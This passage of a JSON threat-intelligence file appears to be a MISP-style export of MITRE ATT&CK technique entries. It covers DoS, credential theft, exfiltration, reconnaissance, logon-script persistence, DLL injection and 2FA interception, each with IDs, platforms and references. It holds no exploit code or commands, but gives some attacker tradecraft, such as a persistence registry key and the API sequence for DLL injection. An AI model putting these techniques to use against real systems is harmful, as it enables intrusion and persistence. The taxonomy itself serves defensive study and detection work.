"description": "The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces.\n\n### Baseband Vulnerability Exploitation\n\nA message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi(Citation: ProjectZero-BroadcomWiFi) or other) to the mobile device could exploit a vulnerability in code running on the device(Citation: Register-BaseStation)(Citation: Weinmann-Baseband).\n\n### Malicious SMS Message\n\nAn SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).",
"meta": {
"external_id": "T1477",
"kill_chain": [
"mitre-mobile-attack:initial-access"
],
"mitre_platforms": [
"Android",
"iOS"
],
"refs": [
"http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html",
"http://www.theregister.co.uk/2015/11/12/mobile_pwn2own1/",
"https://attack.mitre.org/techniques/T1477",
"https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html",
"https://srlabs.de/bites/rooting-sim-cards/",
"https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf"
]
},
"uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5",
"value": "Exploit via Radio Interfaces - T1477"
},
{
"description": "Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nA Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nFor DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).",
"meta": {
"external_id": "T1498",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Flow",
"Sensor Health: Host Status"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1498",
"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
"https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html",
"https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf",
"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf"
]
},
"uuid": "d74c4a7e-ffbf-432f-9365-7ebf1f787cab",
"value": "Network Denial of Service - T1498"
},
{
"description": "Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)\n\nAn Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).\n\nTo perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.\n\nAdversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.\n\nBotnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)\n\nIn cases where traffic manipulation is used, there may be points in the the global network (such as high traffic gateway routers) where packets can be altered and cause legitimate clients to execute code that directs network packets toward a target in high volume. This type of capability was previously used for the purposes of web censorship where client HTTP traffic was modified to include a reference to JavaScript that generated the DDoS code to overwhelm target web servers.(Citation: ArsTechnica Great Firewall of China)\n\nFor attacks attempting to saturate the providing network, see [Network Denial of Service](https://attack.mitre.org/techniques/T1498).\n",
"meta": {
"external_id": "CAPEC-125",
"kill_chain": [
"mitre-attack:impact"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow",
"Sensor Health: Host Status"
],
"mitre_platforms": [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace",
"Containers"
],
"refs": [
"https://arstechnica.com/information-technology/2015/03/massive-denial-of-service-attack-on-github-tied-to-chinese-government/",
"https://attack.mitre.org/techniques/T1499",
"https://capec.mitre.org/data/definitions/125.html",
"https://capec.mitre.org/data/definitions/130.html",
"https://capec.mitre.org/data/definitions/131.html",
"https://capec.mitre.org/data/definitions/227.html",
"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf",
"https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html",
"https://www.ic3.gov/media/2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf",
"https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged",
"https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf"
]
},
"uuid": "c675646d-e204-4aa8-978d-e3d6d65885c4",
"value": "Endpoint Denial of Service - T1499"
},
{
"description": "Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.",
"meta": {
"external_id": "T1555",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Process: OS API Execution",
"Process: Process Access",
"Process: Process Creation"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1555"
]
},
"uuid": "3fc9b85a-2862-4363-a64d-d692e3ffbee0",
"value": "Credentials from Password Stores - T1555"
},
{
"description": "Adversaries may use an existing, legitimate external Web service to exfiltrate data rather than their primary command and control channel. Popular Web services acting as an exfiltration mechanism may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to compromise. Firewall rules may also already exist to permit traffic to these services.\n\nWeb service providers also commonly use SSL/TLS encryption, giving adversaries an added level of protection.",
"meta": {
"external_id": "T1567",
"kill_chain": [
"mitre-attack:exfiltration"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Access",
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Linux",
"macOS",
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1567"
]
},
"uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807",
"value": "Exfiltration Over Web Service - T1567"
},
{
"description": "Adversaries may search freely available technical databases for information about victims that can be used during targeting. Information about victims may be available in online databases and repositories, such as registrations of domains/certificates as well as public collections of network data/artifacts gathered from traffic and/or scans.(Citation: WHOIS)(Citation: DNS Dumpster)(Citation: Circl Passive DNS)(Citation: Medium SSL Cert)(Citation: SSLShopper Lookup)(Citation: DigitalShadows CDN)(Citation: Shodan)\n\nAdversaries may search in different open databases depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Acquire Infrastructure](https://attack.mitre.org/techniques/T1583) or [Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).",
"meta": {
"external_id": "T1596",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1596",
"https://dnsdumpster.com/",
"https://medium.com/@menakajain/export-download-ssl-certificate-from-server-site-url-bcfc41ea46a2",
"https://shodan.io",
"https://www.circl.lu/services/passive-dns/",
"https://www.digitalshadows.com/blog-and-research/content-delivery-networks-cdns-can-leave-you-exposed-how-you-might-be-affected-and-what-you-can-do-about-it/",
"https://www.sslshopper.com/ssl-checker.html",
"https://www.whois.net/"
]
},
"uuid": "55fc4df0-b42c-479a-b860-7a6761bcaad0",
"value": "Search Open Technical Databases - T1596"
},
{
"description": "An adversary may attempt to modify a cloud account's compute service infrastructure to evade defenses. A modification to the compute service infrastructure can include the creation, deletion, or modification of one or more components such as compute instances, virtual machines, and snapshots.\n\nPermissions gained from the modification of infrastructure components may bypass restrictions that prevent access to existing infrastructure. Modifying infrastructure components may also allow an adversary to evade detection and remove evidence of their presence.(Citation: Mandiant M-Trends 2020)",
"meta": {
"external_id": "T1578",
"kill_chain": [
"mitre-attack:defense-evasion"
],
"mitre_data_sources": [
"Instance: Instance Creation",
"Instance: Instance Deletion",
"Instance: Instance Modification",
"Instance: Instance Start",
"Instance: Instance Stop",
"Snapshot: Snapshot Creation",
"Snapshot: Snapshot Deletion",
"Snapshot: Snapshot Modification",
"Volume: Volume Creation",
"Volume: Volume Deletion",
"Volume: Volume Modification"
],
"mitre_platforms": [
"IaaS"
],
"refs": [
"https://attack.mitre.org/techniques/T1578",
"https://content.fireeye.com/m-trends/rpt-m-trends-2020"
]
},
"uuid": "144e007b-e638-431d-a894-45d90c54ab90",
"value": "Modify Cloud Compute Infrastructure - T1578"
},
{
"description": "Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).",
"meta": {
"external_id": "T1589",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1589",
"https://github.com/dxa4481/truffleHog",
"https://github.com/michenriksen/gitrob",
"https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/",
"https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/",
"https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196",
"https://www.opm.gov/cybersecurity/cybersecurity-incidents/",
"https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/",
"https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/"
]
},
"uuid": "5282dd9a-d26d-4e16-88b7-7c0f4553daf4",
"value": "Gather Victim Identity Information - T1589"
},
{
"description": "Adversaries may target the Management Information Base (MIB) to collect and/or mine valuable information in a network managed using Simple Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository that stores variable information accessible via SNMP in the form of object identifiers (OID). Each OID identifies a variable that can be read or set and permits active management tasks, such as configuration changes, through remote modification of these variables. SNMP can give administrators great insight in their systems, such as, system information, description of hardware, physical location, and software packages(Citation: SANS Information Security Reading Room Securing SNMP Securing SNMP). The MIB may also contain device operational information, including running configuration, routing table, and interface details.\n\nAdversaries may use SNMP queries to collect MIB content directly from SNMP-managed devices in order to collect network information that allows the adversary to build network maps and facilitate future targeted exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device Attacks) ",
"meta": {
"external_id": "T1602.001",
"kill_chain": [
"mitre-attack:collection"
],
"mitre_data_sources": [
"Network Traffic: Network Connection Creation",
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Network"
],
"refs": [
"https://attack.mitre.org/techniques/T1602/001",
"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
"https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3",
"https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051",
"https://www.us-cert.gov/ncas/alerts/TA18-106A"
]
},
"related": [
{
"dest-uuid": "0ad7bc5c-235a-4048-944b-3b286676cb74",
"type": "subtechnique-of"
}
],
"uuid": "ee7ff928-801c-4f34-8a99-3df965e581a5",
"value": "SNMP (MIB Dump) - T1602.001"
},
{
"description": "Adversaries may use Windows logon scripts automatically executed at logon initialization to establish persistence. Windows allows logon scripts to be run whenever a specific user or group of users log into a system.(Citation: TechNet Logon Scripts) This is done via adding a path to a script to the HKCU\\Environment\\UserInitMprLogonScript Registry key.(Citation: Hexacorn Logon Scripts)\n\nAdversaries may use these scripts to maintain persistence on a single system. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. ",
"meta": {
"external_id": "T1037.001",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"Process: Process Creation",
"Windows Registry: Windows Registry Key Creation"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"http://www.hexacorn.com/blog/2014/11/14/beyond-good-ol-run-key-part-18/",
"https://attack.mitre.org/techniques/T1037/001",
"https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx"
]
},
"related": [
{
"dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334",
"type": "subtechnique-of"
}
],
"uuid": "eb125d40-0b2d-41ac-a71a-3229241c2cd3",
"value": "Logon Script (Windows) - T1037.001"
},
{
"description": "Adversaries may use macOS logon scripts automatically executed at logon initialization to establish persistence. macOS allows logon scripts (known as login hooks) to be executed whenever a specific user logs into a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike [Startup Items](https://attack.mitre.org/techniques/T1037/005), a login hook executes as the elevated root user.(Citation: creating login hook)\n\nAdversaries may use these login hooks to maintain persistence on a single system.(Citation: S1 macOs Persistence) Access to login hook scripts may allow an adversary to insert additional malicious code. There can only be one login hook at a time though and depending on the access configuration of the hooks, either local credentials or an administrator account may be necessary. ",
"meta": {
"external_id": "T1037.002",
"kill_chain": [
"mitre-attack:persistence",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Command: Command Execution",
"File: File Creation",
"File: File Modification",
"Process: Process Creation"
],
"mitre_platforms": [
"macOS"
],
"refs": [
"https://attack.mitre.org/techniques/T1037/002",
"https://support.apple.com/de-at/HT2420",
"https://www.sentinelone.com/blog/how-malware-persists-on-macos/"
]
},
"related": [
{
"dest-uuid": "03259939-0b57-482f-8eb5-87c0e0d54334",
"type": "subtechnique-of"
}
],
"uuid": "43ba2b05-cf72-4b6c-8243-03a4aba41ee0",
"value": "Logon Script (Mac) - T1037.002"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)",
"meta": {
"external_id": "T1373",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1373"
]
},
"uuid": "702dc95d-3266-42dc-9eef-4a19e2445148",
"value": "Push-notification client-side exploit - T1373"
},
{
"description": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process. \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as VirtualAllocEx and WriteProcessMemory, then invoked with CreateRemoteThread (which calls the LoadLibrary API responsible for loading the DLL). (Citation: Elastic Process Injection July 2017) \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of LoadLibrary).(Citation: Elastic HuntingNMemory June 2017)(Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process. ",
"meta": {
"external_id": "T1055.001",
"kill_chain": [
"mitre-attack:defense-evasion",
"mitre-attack:privilege-escalation"
],
"mitre_data_sources": [
"Module: Module Load",
"Process: OS API Execution",
"Process: Process Access",
"Process: Process Modification"
],
"mitre_platforms": [
"Windows"
],
"refs": [
"https://attack.mitre.org/techniques/T1055/001",
"https://www.endgame.com/blog/technical-blog/hunting-memory",
"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
]
},
"related": [
{
"dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d",
"type": "subtechnique-of"
}
],
"uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
"value": "Dynamic-link Library Injection - T1055.001"
},
{
"description": "Adversaries may attempt to take advantage of a weakness in an Internet-facing computer or program using software, data, or commands in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL)(Citation: NVD CVE-2016-6662), standard services (like SMB(Citation: CIS Multiple SMB Vulnerabilities) or SSH), network device administration and management protocols (like SNMP and Smart Install(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)), and any other applications with Internet accessible open sockets, such as web servers and related services.(Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211). \n\nIf an application is hosted on cloud-based infrastructure and/or is containerized, then exploiting it may lead to compromise of the underlying instance or container. This can allow an adversary a path to access the cloud or container APIs, exploit container host access via [Escape to Host](https://attack.mitre.org/techniques/T1611), or take advantage of weak identity and access management policies.\n\nFor websites and databases, the OWASP top 10 and CWE top 25 highlight the most common web-based vulnerabilities.(Citation: OWASP Top 10)(Citation: CWE top 25)",
"meta": {
"external_id": "T1190",
"kill_chain": [
"mitre-attack:initial-access"
],
"mitre_data_sources": [
"Application Log: Application Log Content",
"Network Traffic: Network Traffic Content"
],
"mitre_platforms": [
"Windows",
"IaaS",
"Network",
"Linux",
"macOS",
"Containers"
],
"refs": [
"https://attack.mitre.org/techniques/T1190",
"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954",
"https://cwe.mitre.org/top25/index.html",
"https://nvd.nist.gov/vuln/detail/CVE-2014-7169",
"https://nvd.nist.gov/vuln/detail/CVE-2016-6662",
"https://us-cert.cisa.gov/ncas/alerts/TA18-106A",
"https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/",
"https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project"
]
},
"uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
"value": "Exploit Public-Facing Application - T1190"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)",
"meta": {
"external_id": "T1370",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1370"
]
},
"uuid": "2ec57bf1-fcc3-4c19-9516-79b7fde483af",
"value": "Untargeted client-side exploitation - T1370"
},
{
"description": "Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.(Citation: Wikipedia OSI) Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).\n\nICMP communication between hosts is one example.(Citation: Cisco Synful Knock Evolution)\n Because ICMP is part of the Internet Protocol Suite, it is required to be implemented by all IP-compatible hosts; (Citation: Microsoft ICMP) however, it is not as commonly monitored as other Internet Protocols such as TCP or UDP and may be used by adversaries to hide communications.",
"meta": {
"external_id": "T1095",
"kill_chain": [
"mitre-attack:command-and-control"
],
"mitre_data_sources": [
"Network Traffic: Network Traffic Content",
"Network Traffic: Network Traffic Flow"
],
"mitre_platforms": [
"Windows",
"Linux",
"macOS",
"Network"
],
"refs": [
"http://en.wikipedia.org/wiki/List_of_network_protocols_%28OSI_model%29",
"http://support.microsoft.com/KB/170292",
"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf",
"https://attack.mitre.org/techniques/T1095",
"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices",
"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954"
]
},
"uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
"value": "Non-Application Layer Protocol - T1095"
},
{
"description": "Adversaries may target two-factor authentication mechanisms, such as smart cards, to gain access to credentials that can be used to access systems, services, and network resources. Use of two or multi-factor authentication (2FA or MFA) is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. \n\nIf a smart card is used for two-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)",
"meta": {
"external_id": "T1111",
"kill_chain": [
"mitre-attack:credential-access"
],
"mitre_data_sources": [
"Driver: Driver Load",
"Process: OS API Execution",
"Windows Registry: Windows Registry Key Modification"
],
"mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"refs": [
"http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf",
"https://attack.mitre.org/techniques/T1111",
"https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf",
"https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx"
]
},
"uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49",
"value": "Two-Factor Authentication Interception - T1111"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1314).\n\nHost based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)",
"meta": {
"external_id": "T1314",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1314"
]
},
"uuid": "6f088e84-37b2-44de-8df3-393908f2d77b",
"value": "Host-based hiding techniques - T1314"
},
{
"description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1315).\n\nTechnical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)",
"meta": {
"external_id": "T1315",
"kill_chain": [
"mitre-pre-attack:adversary-opsec"
],
"refs": [
"https://attack.mitre.org/techniques/T1315"
]
},
"uuid": "90884cdb-31dd-431c-87db-9cc7e03191e5",
"value": "Network-based hiding techniques - T1315"
},
{
"description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nA technique used to compromise a specific group of end users by taking advantage of flaws in client-side applications. For example, infecting websites that members of a targeted group are known to visit with the goal to infect a targeted user's computer. (Citation: RSASEThreat) (Citation: WikiStagefright) (Citation: ForbesSecurityWeek) (Citation: StrongPity-waterhole)",
"meta": {
"external_id": "T1371",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1371"
]
},
"uuid": "72923cae-6c8c-4da2-8f48-b73389529c25",
"value": "Targeted client-side exploitation - T1371"
},
{
"description": "Third-party libraries incorporated into mobile apps could contain malicious behavior, privacy-invasive behavior, or exploitable vulnerabilities. An adversary could deliberately insert malicious behavior or could exploit inadvertent vulnerabilities.\n\nFor example, Ryan Welton of NowSecure identified exploitable remote code execution vulnerabilities in a third-party advertisement library (Citation: NowSecure-RemoteCode). Grace et al. identified security issues in mobile advertisement libraries (Citation: Grace-Advertisement).\n\nPlatforms: Android, iOS",
"meta": {
"external_id": "T1425",
"refs": [
"https://attack.mitre.org/techniques/T1425"
]
},
"related": [
{
"dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad",
"tags": [
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "revoked-by"
}
],
"uuid": "11bd699b-f2c2-4e48-bf46-fb3f8acd9799",
"value": "Insecure Third-Party Libraries - T1425"
},
{
"description": "**This technique has been deprecated. Please use [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190).**\n\nThe use of software, data, or commands to take advantage of a weakness in a computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. (Citation: GoogleCrawlerSQLInj)",
"meta": {
"external_id": "T1377",
"kill_chain": [
"mitre-pre-attack:launch"
],
"refs": [
"https://attack.mitre.org/techniques/T1377"
]
},
"uuid": "8a64f743-acaa-49d5-9d3d-ae5616a3876f",
"value": "Exploit public-facing application - T1377"
},
{
"description": "Adversaries may search websites owned by the victim for information that can be used during targeting. Victim-owned websites may contain a variety of details, including names of departments/divisions, physical locations, and data about key employees such as names, roles, and contact info (ex: [Email Addresses](https://attack.mitre.org/techniques/T1589/002)). These sites may also have details highlighting business operations and relationships.(Citation: Comparitech Leak)\n\nAdversaries may search victim-owned websites to gather actionable information. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Trusted Relationship](https://attack.mitre.org/techniques/T1199) or [Phishing](https://attack.mitre.org/techniques/T1566)).",
"meta": {
"external_id": "T1594",
"kill_chain": [
"mitre-attack:reconnaissance"
],
"mitre_data_sources": [
"Application Log: Application Log Content"
],
"mitre_platforms": [
"PRE"
],
"refs": [
"https://attack.mitre.org/techniques/T1594",
"https://www.comparitech.com/blog/vpn-privacy/350-million-customer-records-exposed-online/"
]
},
"uuid": "16cdd21f-da65-4e4f-bc04-dd7d198c7b26",
"value": "Search Victim-Owned Websites - T1594"
},
{
